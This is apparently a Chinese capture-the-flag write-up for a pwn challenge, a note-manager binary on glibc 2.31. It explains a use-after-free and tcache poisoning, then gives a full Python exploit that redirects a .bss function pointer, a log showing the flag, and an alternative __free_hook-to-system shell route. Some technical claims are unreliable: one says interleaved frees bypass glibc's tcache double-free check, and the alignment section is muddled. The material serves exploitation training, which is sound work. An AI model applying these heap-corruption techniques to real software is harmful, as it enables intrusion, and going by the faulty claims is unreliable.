赛事档案库 YQHL Competition Archive 返回主站
PWN-MEDIUM-02

麒麟阁 · 内阁藏经处

笔记应用的 UAF 与 tcache poisoning,重点是 glibc 2.30+ 的 counts 结构与取块前提。

方向Pwn
难度 Medium
题号10 / 20
项目 内容
平台题名 麒麟阁 · 内阁藏经处 / Scriptorium
分类 / 难度 Pwn / Medium
附件 scriptorium(ELF x86-64,未 strip)
服务 nc <host> <port>(容器内 socat 监听 9999)
环境 ubuntu:20.04,glibc 2.31
保护 NX on / PIE off / canary off / Full RELRO

1. 程序行为

一个经典的"手记管理器"菜单:

=== 麒麟阁 · 内阁藏经处 ===
外门弟子可在此留书,除此之外免谈。
1) 添加  2) 修改  3) 删除  4) 查看  5) 离开
> 

四个功能对应源码(随包给 src/scriptorium.c):

char *notes[8];
size_t note_size[8];
void (*cleanup_hook)(void) = NULL;

void add_note(void) {
    long idx = read_long("编号 (0-7):");
    if (idx < 0 || idx >= 8) { puts("编号越界"); return; }
    if (notes[idx]) { puts("该位置已有手记"); return; }

    long size = read_long("长度 (1-256):");
    if (size <= 0 || size > 256) { puts("长度非法"); return; }

    notes[idx] = malloc((size_t)size);
    note_size[idx] = (size_t)size;
    printf("内容:");
    read(0, notes[idx], note_size[idx]);     /* 长度受控,安全 */
    puts("已记录。");
}

void edit_note(void) {
    ...
    read(0, notes[idx], note_size[idx]);     /* 长度受控,安全 */
}

void delete_note(void) {
    ...
    free(notes[idx]);
    puts("已焚毁。");
    /* BUG:此处从不把 notes[idx] 置空。 */
}

void view_note(void) {
    ...
    fwrite(notes[idx], 1, note_size[idx], stdout);
}

int main(void) {
    ...
    cleanup_hook = default_cleanup;
    ...
leave:
    if (cleanup_hook) cleanup_hook();        /* ← 退出时调函数指针 */
    return 0;
}

add / edit 都严格按 note_size 读写,堆本身没有溢出。漏洞只有一处:

delete_note() free() 之后不把 notes[idx] 置 NULL。

这留下一个悬挂指针,notes[idx] 依然指向已释放的 chunk,于是:

  1. edit(idx, ...) 可以写进已释放的 chunk → UAF 写;
  2. view(idx) 可以读出已释放 chunk 的内容 → UAF 读(能读到 tcache 的 fd);
  3. 连续 delete 同一个编号 → double free。

而 main 结尾的 if (cleanup_hook) cleanup_hook(); 给出了完美的攻击目标: .bss 上一个可写的函数指针。

void (*cleanup_hook)(void) = NULL;   /* .data 0x404040 */

把它改成 open_the_vault(打印 /flag 的函数,0x401239,同样从未被调用), 退出程序就自动拿 flag。

2. 为什么锁 glibc 2.31

Dockerfile 里明确写了:

FROM ubuntu:20.04 AS builder
...
# 特意固定在 Ubuntu 20.04:运行库有 tcache 双重释放 key 检查
# (glibc >= 2.29)但没有 safe-linking(glibc >= 2.32),
# 这正是本 Medium 档设计的难度区间。

对照一下各版本 tcache 的防护:

glibc tcache_entry.next 是否编码(safe-linking) double free 检测
< 2.29 无 无,直接 free(a); free(a) 就 dup
2.29 ~ 2.31 无 有 e->key == tcache 检查,连续 free 同一指针会 abort
≥ 2.32 有(next = pos >> 12 ^ ptr) 有

所以在 2.31 上我们不能简单地 free(a); free(a),但可以 free(a); free(b); free(a) ——释放 b 时清掉了 a 的 key,第三次 free 又通过了检查。这就是经典的 tcache dup(也叫 tcache poisoning),只差 key 这一个障碍,不用处理 safe-linking。

3. 堆布局与利用步骤

目标:让 malloc 返回 &cleanup_hook(0x404040),然后往那里写 open_the_vault(0x401239)。

选 64 字节的 chunk(malloc(0x40) → 实际 chunk size 0x50,落在 tcache[0x50])。

步骤拆解

初始:
  tcache[0x50] = NULL

1) add(0, 0x40)  →  c0
2) add(1, 0x40)  →  c1

3) delete(0)     →  free(c0),tcache[0x50]: c0
4) delete(1)     →  free(c1),tcache[0x50]: c1 -> c0

   注意此时 notes[0] / notes[1] 都还是悬挂指针

5) edit(1, p64(0x404040))
   ├─ notes[1] 指向 c1(已释放,仍在 tcache 栈顶)
   └─ 写 c1 的前 8 字节 = c1 的 tcache next 字段
      → tcache[0x50]: 0x404040 -> c0

6) add(2, 0x40)  →  malloc 返回 c1(栈顶弹出)
      tcache[0x50]: 0x404040 -> c0   (等 malloc 再弹两次才轮到)

7) add(3, 0x40)  →  malloc 返回 0x404040 ← 命中目标!
      写入 p64(0x401239),即 cleanup_hook = open_the_vault

8) 选 5 离开       →  cleanup_hook() == open_the_vault()
                      → 打印 /flag

第 7 步很关键:add_note 里 malloc 之后紧跟 read(0, notes[idx], size), 所以第二个 add 的内容就直接写到了 .bss 上。

一个细节:unaligned 会 abort

edit(1, ...) 写的是 c1 的 user 区。如果 c1 的 user 区起始地址不是 16 字节对齐, glibc 2.31 在 tcache_get 时会走 malloc_printerr("unaligned tcache chunk detected") 直接 abort。

稳妥做法是先只 delete 一个 chunk,再 edit,让被 edit 的 chunk 的 user 区保持 正常对齐;或者把 delete 做成 free(a) + free(a) 之外的顺序。本 exp 采用前者:

add(0, 0x40, b'A'*8)
add(1, 0x40, b'B'*8)
delete(0)                       # tcache: c0
delete(1)                       # tcache: c1 -> c0   (顺序 free,key 检查能过)
edit(1, p64(0x404040))          # 改 c1 的 next
add(2, 0x40, b'C'*8)            # 取回 c1
add(3, 0x40, p64(0x401239))     # 取回 0x404040,覆盖 cleanup_hook

如果遇到 unaligned tcache chunk detected,就只删一个 chunk 再 edit:

delete(0)                       # tcache: c0
edit(0, p64(0x404040) + b'\x01'*8)   # 一次写满,避免剩下半截未对齐数据
add(1, 0x40, b'C'*8)            # 取回 c0
add(2, 0x40, b'D'*8)            # 取回 c0 的 next(已被改?)

第二种写法需要凑两次 malloc 才能命中,具体取舍看版本。推荐第一种。

4. 完整 Exp

#!/usr/bin/env python3
import socket, struct, sys, time

HOST, PORT = sys.argv[1], int(sys.argv[2])

OPEN_THE_VAULT = 0x401239
CLEANUP_HOOK   = 0x404040
CHUNK          = 0x40

s = socket.create_connection((HOST, PORT), timeout=10)
buf = b""

def ru(tok, to=5):
    global buf
    if isinstance(tok, str): tok = tok.encode()
    s.settimeout(to)
    while tok not in buf:
        try: d = s.recv(65536)
        except socket.timeout: break
        if not d: break
        buf += d
    i = buf.find(tok)
    r, buf = (buf, b"") if i < 0 else (buf[:i+len(tok)], buf[i+len(tok):])
    return r

def sl(x):
    s.sendall((x.encode() if isinstance(x, str) else x) + b"\n")

def fit(data, n):
    """read(0, ptr, n) 要读满 n 字节才返回;不足补 0,超长截断"""
    return data[:n] + b"\x00" * max(0, n - len(data))

def add(i, size, data):
    sl("1"); ru("编号"); sl(str(i))
    ru("长度"); sl(str(size))
    ru("内容:"); s.sendall(fit(data, size))
    ru("已记录。")

def edit(i, data):
    sl("2"); ru("编号:"); sl(str(i))
    ru("内容:"); s.sendall(fit(data, CHUNK))
    ru("已更新。")

def delete(i):
    sl("3"); ru("编号:"); sl(str(i))
    ru("已焚毁。")

ru(b"> ")

add(0, CHUNK, b"A" * 8)
add(1, CHUNK, b"B" * 8)

delete(0)
delete(1)                                   # tcache[0x50]: c1 -> c0

edit(1, struct.pack("<Q", CLEANUP_HOOK))    # UAF 写,改 c1->next

add(2, CHUNK, b"C" * 8)                     # 取回 c1
add(3, CHUNK, struct.pack("<Q", OPEN_THE_VAULT))  # 写入 &cleanup_hook

sl("5")                                     # 离开 -> call cleanup_hook

time.sleep(0.5)
s.settimeout(3)
out = buf
try:
    while True:
        d = s.recv(65536)
        if not d: break
        out += d
except socket.timeout:
    pass
print(out.decode("utf-8", "replace"))

5. 实际验证

节点一次性容器(lj-pwn-medium-02-trap:v1,-p 29912:9999):

=== 麒麟阁 · 内阁藏经处 ===
...
已焚毁。
已焚毁。
已更新。
已记录。
已记录。
[+] 内殿开启。
flag{ff80022c53af450cd7bb766d54890467}

完整原始输出:

1) 添加  2) 修改  3) 删除  4) 查看  5) 离开
> [+] 内殿开启。
flag{ff80022c53af450cd7bb766d54890467}

只有 open_the_vault 的输出,没有 default_cleanup 的 再会,弟子。愿你的手记长眠于此。——这正是 cleanup_hook 被改写成功的证据。 如果没改成功,这里会出现 再会,弟子… 而没有 flag。

6. 踩坑记录

现象 原因 处理
malloc(): unaligned tcache chunk detected glibc 2.31 对 tcache 取出的 chunk 做 16 字节对齐检查,UAF 写入位置偏了 先只删一个 chunk 再 edit,或把 p64(target) 后面补齐 8 字节
free(): double free detected in tcache 2 试图 free(a); free(a) 直接 dup 中间插一个 free(b),绕开 e->key 检查
add 卡住不返回 read(0, ptr, n) 是读满 n 字节才返回的,不是行读 用 fit() 把内容补足到 n 字节再发
edit 之后 add 拿到的是 c0 不是目标 tcache 是 LIFO 栈,delete(0) 之后 delete(1),栈顶是 c1;add(2) 先拿 c1 数清楚要 malloc 几次才轮到目标,本题是两次
在 glibc ≥ 2.32 镜像上跑不通 safe-linking 把 next 编码成 pos >> 12 ^ ptr 必须按目标 glibc 版本重新编码,或换题设的 20.04 镜像

7. 另一种思路

不想碰 tcache 也可以:double free 打 __free_hook。

glibc 2.31 里 __free_hook 仍然存在且可用,把 __free_hook 改成 system, 然后 delete 一个内容为 /bin/sh 的 chunk,就得到 shell。

但本题有更简单的"现成 win 函数 + 现成函数指针",tcache dup 两步就能收工, 没必要绕 __free_hook(而且 __free_hook 在 glibc 2.34 已被移除,不通用)。

8. 一句话总结

delete 忘了置 NULL → 悬挂指针 → tcache dup 把 .bss 上的 cleanup_hook 改成 open_the_vault,退出即拿 flag。glibc 2.31 是"有 key 检查、无 safe-linking"的甜点版本,插一次 free 就绕过去了。